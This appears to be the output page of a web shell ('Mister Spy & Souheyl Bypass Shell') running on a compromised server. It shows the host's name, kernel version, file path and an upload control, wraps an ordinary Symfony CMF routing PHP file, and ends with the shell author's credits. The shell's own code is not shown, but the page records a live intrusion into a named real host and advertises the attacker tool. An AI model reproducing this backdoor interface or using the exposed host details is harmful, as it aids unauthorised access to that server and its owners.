Welcome To Our Shell

Mister Spy & Souheyl Bypass Shell

Current Path : /var/www/html/ift/vendor/symfony-cmf/routing/DependencyInjection/Compiler/

Linux ift1.ift-informatik.de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Upload File :
Current File : /var/www/html/ift/vendor/symfony-cmf/routing/DependencyInjection/Compiler/RegisterRoutersPass.php

<?php

/*
 * This file is part of the Symfony CMF package.
 *
 * (c) 2011-2015 Symfony CMF
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Cmf\Component\Routing\DependencyInjection\Compiler;

use Symfony\Component\DependencyInjection\ContainerBuilder;
use Symfony\Component\DependencyInjection\Reference;
use Symfony\Component\DependencyInjection\Compiler\CompilerPassInterface;

/**
 * Compiler pass to register routers to the ChainRouter.
 *
 * @author Wouter J <waldio.webdesign@gmail.com>
 * @author Henrik Bjornskov <henrik@bjrnskov.dk>
 * @author Magnus Nordlander <magnus@e-butik.se>
 */
class RegisterRoutersPass implements CompilerPassInterface
{
    /**
     * @var string
     */
    protected $chainRouterService;

    protected $routerTag;

    public function __construct($chainRouterService = 'cmf_routing.router', $routerTag = 'router')
    {
        $this->chainRouterService = $chainRouterService;
        $this->routerTag = $routerTag;
    }

    public function process(ContainerBuilder $container)
    {
        if (!$container->hasDefinition($this->chainRouterService)) {
            return;
        }

        $definition = $container->getDefinition($this->chainRouterService);

        foreach ($container->findTaggedServiceIds($this->routerTag) as $id => $attributes) {
            $priority = isset($attributes[0]['priority']) ? $attributes[0]['priority'] : 0;

            $definition->addMethodCall('add', array(new Reference($id), $priority));
        }
    }
}

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped) Email: contact@elmoujehidin.net